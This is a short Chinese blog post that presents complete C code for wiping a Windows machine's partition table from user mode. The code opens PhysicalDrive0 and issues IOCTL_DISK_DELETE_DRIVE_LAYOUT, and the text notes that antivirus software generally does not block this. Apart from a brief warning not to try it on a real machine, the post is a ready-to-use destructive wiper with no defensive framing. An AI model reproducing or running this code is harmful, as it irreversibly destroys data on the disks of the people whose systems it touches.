美文网首页
R3全盘毁坏数据

R3全盘毁坏数据

作者: HAPPYers | 来源:发表于2019-07-13 21:19 被阅读0次

    打开物理磁盘或者打开分区符号(这个需要循环)

    然后使用下发IOCTL_DISK_DELETE_DRIVE_LAYOUT请求,删除分区表

    一般杀软也不会阻止

    不要在真机中实验!

    代码:

    #include<stdio.h>
    #include<Windows.h>
    #include<ntddscsi.h>
    #include <tchar.h>
    
    int main()
    {
        DWORD lpBytesReturned;
        OVERLAPPED lpOverlapped = { 0 };
    
        HANDLE hDiskHandle = CreateFile(_T("\\\\.\\PhysicalDrive0"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
        if (!hDiskHandle) {
            printf("Fail \n");
            getchar();
            return 0;
        }
        bool ret = DeviceIoControl(hDiskHandle,
            IOCTL_DISK_DELETE_DRIVE_LAYOUT,//0x0007C100
            NULL,
            0,
            NULL,
            0,
            &lpBytesReturned,
            &lpOverlapped);
        
        CloseHandle(hDiskHandle);
    
        printf("Finish\n");
        return 0;
    }
    

    相关文章

      网友评论

          本文标题:R3全盘毁坏数据

          本文链接:https://www.haomeiwen.com/subject/tmtvkctx.html